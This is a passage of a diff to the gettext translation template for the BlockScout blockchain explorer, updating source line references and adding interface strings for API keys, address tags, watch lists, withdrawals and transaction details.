lib/block_scout_web/templates/api_docs/index.html.eex:4 #: lib/block_scout_web/templates/api_docs/index.html.eex:4 #, elixir-autogen, elixir-format msgid "API Documentation" msgstr "" +#: lib/block_scout_web/templates/api_docs/_metatags.html.eex:4 #: lib/block_scout_web/templates/api_docs/_metatags.html.eex:4 #, elixir-autogen, elixir-format msgid "API endpoints for the %{subnetwork}" msgstr "" +#: lib/block_scout_web/templates/api_docs/_metatags.html.eex:2 #: lib/block_scout_web/templates/api_docs/_metatags.html.eex:2 #, elixir-autogen, elixir-format msgid "API for the %{subnetwork} - BlockScout" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:95 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:13 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:13 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:14 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:14 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:29 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:29 +#, elixir-autogen, elixir-format +msgid "API key" +msgstr "" + +#: lib/block_scout_web/templates/account/api_key/index.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:7 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:16 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:16 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:18 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:18 +#, elixir-autogen, elixir-format +msgid "API keys" +msgstr "" + +#: lib/block_scout_web/templates/layout/_topnav.html.eex:106 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:106 #, elixir-autogen, elixir-format msgid "APIs" msgstr "" +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:24 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:24 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:24 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:24 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:69 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:69 #, elixir-autogen, elixir-format msgid "Action" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:417 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:25 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:25 +#, elixir-autogen, elixir-format +msgid "Actions" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:484 +#: lib/block_scout_web/templates/transaction/overview.html.eex:484 +#, elixir-autogen, elixir-format +msgid "Actual gas amount used by the transaction on L2." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:488 +#: lib/block_scout_web/templates/transaction/overview.html.eex:488 #, elixir-autogen, elixir-format msgid "Actual gas amount used by the transaction." msgstr "" -#: lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex:11 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex:10 +#: lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex:10 #, elixir-autogen, elixir-format msgid "Add" msgstr "" +#: lib/block_scout_web/templates/account/api_key/index.html.eex:44 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:44 +#, elixir-autogen, elixir-format +msgid "Add API key" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:86 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:86 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:76 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:76 +#, elixir-autogen, elixir-format +msgid "Add Contract Libraries" +msgstr "" + +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:44 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:44 +#, elixir-autogen, elixir-format +msgid "Add Custom ABI" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:97 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:97 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:87 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:87 +#, elixir-autogen, elixir-format +msgid "Add Library" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:38 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:38 +#, elixir-autogen, elixir-format +msgid "Add address" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:7 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:7 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:37 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:37 +#, elixir-autogen, elixir-format +msgid "Add address tag" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Add address to the Watch list" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:7 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:7 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:37 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:37 +#, elixir-autogen, elixir-format +msgid "Add transaction tag" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:11 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:11 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:23 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:23 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:23 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:23 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:12 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:12 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:16 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:20 -#: lib/block_scout_web/views/address_view.ex:104 +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:16 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:4 +#: lib/block_scout_web/templates/tokens/index.html.eex:34 +#: lib/block_scout_web/templates/tokens/index.html.eex:34 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:29 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:29 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:34 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:34 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:60 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:60 +#: lib/block_scout_web/views/address_view.ex:110 +#: lib/block_scout_web/views/address_view.ex:110 #, elixir-autogen, elixir-format msgid "Address" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:211 +#: lib/block_scout_web/templates/transaction/overview.html.eex:263 +#: lib/block_scout_web/templates/transaction/overview.html.eex:263 #, elixir-autogen, elixir-format msgid "Address (external or contract) receiving the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:194 +#: lib/block_scout_web/templates/transaction/overview.html.eex:245 +#: lib/block_scout_web/templates/transaction/overview.html.eex:245 #, elixir-autogen, elixir-format msgid "Address (external or contract) sending the transaction." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:167 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:10 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:10 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:7 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:7 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:16 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:16 +#, elixir-autogen, elixir-format +msgid "Address Tags" +msgstr "" + +#: lib/block_scout_web/templates/address/overview.html.eex:151 +#: lib/block_scout_web/templates/address/overview.html.eex:151 #, elixir-autogen, elixir-format msgid "Address balance in" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:50 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:51 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:51 #, elixir-autogen, elixir-format msgid "Address of the token contract" msgstr "" +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:7 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Address used in token mintings and burnings." +msgstr "" + +#: lib/block_scout_web/templates/address/index.html.eex:5 #: lib/block_scout_web/templates/address/index.html.eex:5 #, elixir-autogen, elixir-format msgid "Addresses" msgstr "" +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:38 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:38 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:35 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:35 +#, elixir-autogen, elixir-format +msgid "Age" +msgstr "" + #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:26 +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:26 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:28 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:28 #: lib/block_scout_web/templates/address_transaction/index.html.eex:22 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:77 -#: lib/block_scout_web/views/address_internal_transaction_view.ex:11 -#: lib/block_scout_web/views/address_token_transfer_view.ex:11 -#: lib/block_scout_web/views/address_transaction_view.ex:11 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:22 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:88 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:88 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:20 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:20 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:12 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:12 +#: lib/block_scout_web/views/address_token_transfer_view.ex:12 +#: lib/block_scout_web/views/address_token_transfer_view.ex:12 +#: lib/block_scout_web/views/address_transaction_view.ex:12 +#: lib/block_scout_web/views/address_transaction_view.ex:12 +#: lib/block_scout_web/views/verified_contracts_view.ex:13 +#: lib/block_scout_web/views/verified_contracts_view.ex:13 #, elixir-autogen, elixir-format msgid "All" msgstr "" +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:13 #: lib/block_scout_web/templates/smart_contract/_functions.html.eex:13 #, elixir-autogen, elixir-format msgid "All functions displayed below are from ABI of that contract. In order to verify current contract, proceed with" msgstr "" +#: lib/block_scout_web/templates/address_contract/index.html.eex:27 #: lib/block_scout_web/templates/address_contract/index.html.eex:27 #, elixir-autogen, elixir-format msgid "All metadata displayed below is from that contract. In order to verify current contract, click" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:192 +#: lib/block_scout_web/templates/address/overview.html.eex:176 +#: lib/block_scout_web/templates/address/overview.html.eex:176 #, elixir-autogen, elixir-format msgid "All tokens in the account and total value." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:403 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:41 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:41 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:38 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:38 +#, elixir-autogen, elixir-format +msgid "Amount" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:469 +#: lib/block_scout_web/templates/transaction/overview.html.eex:469 #, elixir-autogen, elixir-format msgid "Amount of" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:236 +#: lib/block_scout_web/templates/block/overview.html.eex:238 +#: lib/block_scout_web/templates/block/overview.html.eex:238 #, elixir-autogen, elixir-format msgid "Amount of distributed reward. Miners receive a static block reward + Tx fees + uncle fees." msgstr "" +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:8 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:8 +#, elixir-autogen, elixir-format +msgid "An unexpected error has occurred. Try reloading the page, or come back soon and try again." +msgstr "" + +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:15 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:15 #, elixir-autogen, elixir-format msgid "Anything not in this list is not supported. Click on the method to be taken to the documentation for that method, and check the notes section for any potential differences." msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:123 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:134 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:134 #, elixir-autogen, elixir-format msgid "Apps" msgstr "" +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:21 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:21 #, elixir-autogen, elixir-format msgid "Average" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:100 +#: lib/block_scout_web/templates/chain/show.html.eex:102 +#: lib/block_scout_web/templates/chain/show.html.eex:102 #, elixir-autogen, elixir-format msgid "Average block time" msgstr "" +#: lib/block_scout_web/templates/account/api_key/form.html.eex:25 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:25 +#, elixir-autogen, elixir-format +msgid "Back to API keys (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:24 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:24 +#, elixir-autogen, elixir-format +msgid "Back to Address Tags (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:30 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:30 +#, elixir-autogen, elixir-format +msgid "Back to Custom ABI (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:24 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:24 +#, elixir-autogen, elixir-format +msgid "Back to Transaction Tags (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:81 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:81 +#, elixir-autogen, elixir-format +msgid "Back to Watch list (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/error422/index.html.eex:9 +#: lib/block_scout_web/templates/error422/index.html.eex:9 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:9 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:9 #: lib/block_scout_web/templates/page_not_found/index.html.eex:9 -#: lib/block_scout_web/templates/transaction/not_found.html.eex:30 +#: lib/block_scout_web/templates/page_not_found/index.html.eex:9 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:13 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:13 #, elixir-autogen, elixir-format -msgid "Back Home" +msgid "Back to home" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:168 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:24 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:24 +#: lib/block_scout_web/templates/address/overview.html.eex:152 +#: lib/block_scout_web/templates/address/overview.html.eex:152 +#: lib/block_scout_web/templates/address_token/overview.html.eex:51 #: lib/block_scout_web/templates/address_token/overview.html.eex:51 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:63 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:63 #, elixir-autogen, elixir-format msgid "Balance" msgstr "" +#: lib/block_scout_web/templates/transaction_state/index.html.eex:40 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:40 +#, elixir-autogen, elixir-format +msgid "Balance after" +msgstr "" + +#: lib/block_scout_web/templates/transaction_state/index.html.eex:37 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:37 +#, elixir-autogen, elixir-format +msgid "Balance before" +msgstr "" + +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:14 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:14 #, elixir-autogen, elixir-format msgid "Balances" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:207 +#: lib/block_scout_web/templates/block/overview.html.eex:209 +#: lib/block_scout_web/templates/block/overview.html.eex:209 #, elixir-autogen, elixir-format msgid "Base Fee per Gas" msgstr "" #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:5 +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:5 +#: lib/block_scout_web/templates/api_docs/index.html.eex:5 #: lib/block_scout_web/templates/api_docs/index.html.eex:5 #, elixir-autogen, elixir-format msgid "Base URL:" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:438 +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:2 +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:2 +#, elixir-autogen, elixir-format +msgid "Beacon chain withdrawals - %{subnetwork} Explorer" +msgstr "" + +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:7 +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Beacon chain, Withdrawals, %{subnetwork}, %{coin}" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:545 +#: lib/block_scout_web/templates/transaction/overview.html.eex:545 #, elixir-autogen, elixir-format msgid "Binary data included with the transaction. See input / logs below for additional info." msgstr "" #: lib/block_scout_web/templates/address_coin_balance/_coin_balances.html.eex:8 +#: lib/block_scout_web/templates/address_coin_balance/_coin_balances.html.eex:8 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:35 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:35 +#: lib/block_scout_web/templates/block/overview.html.eex:29 #: lib/block_scout_web/templates/block/overview.html.eex:29 -#: lib/block_scout_web/templates/transaction/overview.html.eex:153 +#: lib/block_scout_web/templates/transaction/overview.html.eex:161 +#: lib/block_scout_web/templates/transaction/overview.html.eex:161 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:29 #, elixir-autogen, elixir-format msgid "Block" msgstr "" #: lib/block_scout_web/templates/block/_link.html.eex:2 +#: lib/block_scout_web/templates/block/_link.html.eex:2 +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:32 #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:32 #: lib/block_scout_web/templates/tokens/transfer/_token_transfer.html.eex:43 +#: lib/block_scout_web/templates/tokens/transfer/_token_transfer.html.eex:43 #, elixir-autogen, elixir-format msgid "Block #%{number}" msgstr "" +#: lib/block_scout_web/templates/block/_metatags.html.eex:3 #: lib/block_scout_web/templates/block/_metatags.html.eex:3 #, elixir-autogen, elixir-format msgid "Block %{block_number} - %{subnetwork} Explorer" msgstr "" +#: lib/block_scout_web/templates/block_transaction/404.html.eex:7 #: lib/block_scout_web/templates/block_transaction/404.html.eex:7 #, elixir-autogen, elixir-format msgid "Block Details" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:53 #: lib/block_scout_web/templates/block/overview.html.eex:53 #, elixir-autogen, elixir-format msgid "Block Height" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:43 +#: lib/block_scout_web/templates/layout/app.html.eex:47 +#: lib/block_scout_web/templates/layout/app.html.eex:47 #, elixir-autogen, elixir-format msgid "Block Mined, awaiting import..." msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:33 +#: lib/block_scout_web/views/transaction_view.ex:34 +#: lib/block_scout_web/views/transaction_view.ex:34 #, elixir-autogen, elixir-format msgid "Block Pending" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:158 #: lib/block_scout_web/templates/block/overview.html.eex:158 #, elixir-autogen, elixir-format msgid "Block difficulty for miner, used to calibrate block generation time (Note: constant in POA based networks)." msgstr "" +#: lib/block_scout_web/views/block_transaction_view.ex:15 #: lib/block_scout_web/views/block_transaction_view.ex:15 #, elixir-autogen, elixir-format msgid "Block not found, please try again later." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:152 +#: lib/block_scout_web/templates/transaction/overview.html.eex:203 +#: lib/block_scout_web/templates/transaction/overview.html.eex:203 +#, elixir-autogen, elixir-format +msgid "Block number containing the transaction on L1." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:160 +#: lib/block_scout_web/templates/transaction/overview.html.eex:160 #, elixir-autogen, elixir-format msgid "Block number containing the transaction." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:275 +#: lib/block_scout_web/templates/address/overview.html.eex:259 +#: lib/block_scout_web/templates/address/overview.html.eex:259 #, elixir-autogen, elixir-format msgid "Block number in which the address was updated." msgstr "" +#: lib/block_scout_web/templates/chain/_metatags.html.eex:4 #: lib/block_scout_web/templates/chain/_metatags.html.eex:4 #, elixir-autogen, elixir-format msgid "BlockScout provides analytics data, API, and Smart Contract tools for the %{subnetwork}" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:153 #: lib/block_scout_web/templates/layout/_topnav.html.eex:29 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:33 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:29 +#, elixir-autogen, elixir-format +msgid "Blockchain" +msgstr "" + +#: lib/block_scout_web/templates/chain/show.html.eex:156 +#: lib/block_scout_web/templates/chain/show.html.eex:156 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:34 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:34 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:38 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:38 #, elixir-autogen, elixir-format msgid "Blocks" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:42 +#: lib/block_scout_web/templates/layout/app.html.eex:46 +#: lib/block_scout_web/templates/layout/app.html.eex:46 #, elixir-autogen, elixir-format msgid "Blocks Indexed" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:48 -#: lib/block_scout_web/templates/address/overview.html.eex:293 +#: lib/block_scout_web/templates/address/_tabs.html.eex:56 +#: lib/block_scout_web/templates/address/_tabs.html.eex:56 +#: lib/block_scout_web/templates/address/overview.html.eex:277 +#: lib/block_scout_web/templates/address/overview.html.eex:277 #: lib/block_scout_web/templates/address_validation/index.html.eex:11 -#: lib/block_scout_web/views/address_view.ex:371 +#: lib/block_scout_web/templates/address_validation/index.html.eex:11 +#: lib/block_scout_web/views/address_view.ex:362 +#: lib/block_scout_web/views/address_view.ex:362 #, elixir-autogen, elixir-format msgid "Blocks Validated" msgstr "" +#: lib/block_scout_web/templates/layout/app.html.eex:48 +#: lib/block_scout_web/templates/layout/app.html.eex:48 +#, elixir-autogen, elixir-format +msgid "Blocks With Internal Transactions Indexed" +msgstr "" + +#: lib/block_scout_web/templates/layout/_footer.html.eex:22 #: lib/block_scout_web/templates/layout/_footer.html.eex:22 #, elixir-autogen, elixir-format msgid "Blockscout is a tool for inspecting and analyzing EVM based blockchains. Blockchain explorer for Ethereum Networks." msgstr "" +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:8 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:8 +#, elixir-autogen, elixir-format +msgid "Burn address" +msgstr "" + #: lib/block_scout_web/templates/block/_tile.html.eex:64 -#: lib/block_scout_web/templates/block/overview.html.eex:216 +#: lib/block_scout_web/templates/block/_tile.html.eex:64 +#: lib/block_scout_web/templates/block/overview.html.eex:218 +#: lib/block_scout_web/templates/block/overview.html.eex:218 #, elixir-autogen, elixir-format msgid "Burnt Fees" msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:65 #: lib/block_scout_web/templates/address_token/overview.html.eex:65 #, elixir-autogen, elixir-format msgid "CRC Worth" msgstr "" -#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:2 +#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:4 +#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:4 #, elixir-autogen, elixir-format msgid "CSV" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:10 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:10 #: lib/block_scout_web/views/internal_transaction_view.ex:21 +#: lib/block_scout_web/views/internal_transaction_view.ex:21 #, elixir-autogen, elixir-format msgid "Call" msgstr "" +#: lib/block_scout_web/views/internal_transaction_view.ex:22 #: lib/block_scout_web/views/internal_transaction_view.ex:22 #, elixir-autogen, elixir-format msgid "Call Code" msgstr "" #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:120 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:145 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:120 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:115 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:115 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:41 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:41 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:141 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:107 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:107 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:55 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:55 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:51 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:51 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:47 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:47 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:54 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:54 #, elixir-autogen, elixir-format msgid "Cancel" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:41 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:43 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:43 +#, elixir-autogen, elixir-format +msgid "Change" +msgstr "" + +#: lib/block_scout_web/templates/layout/_footer.html.eex:43 +#: lib/block_scout_web/templates/layout/_footer.html.eex:43 #, elixir-autogen, elixir-format msgid "Chat (#blockscout)" msgstr "" -#: lib/block_scout_web/views/block_view.ex:63 +#: lib/block_scout_web/views/block_view.ex:65 +#: lib/block_scout_web/views/block_view.ex:65 #, elixir-autogen, elixir-format msgid "Chore Reward" msgstr "" +#: lib/block_scout_web/templates/tokens/index.html.eex:38 +#: lib/block_scout_web/templates/tokens/index.html.eex:38 +#, elixir-autogen, elixir-format +msgid "Circulating Market Cap" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:137 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:137 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:106 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:106 #, elixir-autogen, elixir-format msgid "Clear" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:37 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:37 #: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:6 +#: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:6 +#: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:14 #: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:14 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:84 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:84 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:92 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:92 #, elixir-autogen, elixir-format msgid "Close" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:58 +#: lib/block_scout_web/templates/address/_tabs.html.eex:66 +#: lib/block_scout_web/templates/address/_tabs.html.eex:66 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:165 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:165 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:187 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:187 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:126 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:126 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:149 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:149 -#: lib/block_scout_web/views/address_view.ex:364 +#: lib/block_scout_web/views/address_view.ex:356 +#: lib/block_scout_web/views/address_view.ex:356 #, elixir-autogen, elixir-format msgid "Code" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:34 -#: lib/block_scout_web/views/address_view.ex:370 +#: lib/block_scout_web/templates/address/_tabs.html.eex:42 +#: lib/block_scout_web/templates/address/_tabs.html.eex:42 +#: lib/block_scout_web/views/address_view.ex:361 +#: lib/block_scout_web/views/address_view.ex:361 #, elixir-autogen, elixir-format msgid "Coin Balance History" msgstr "" -#: 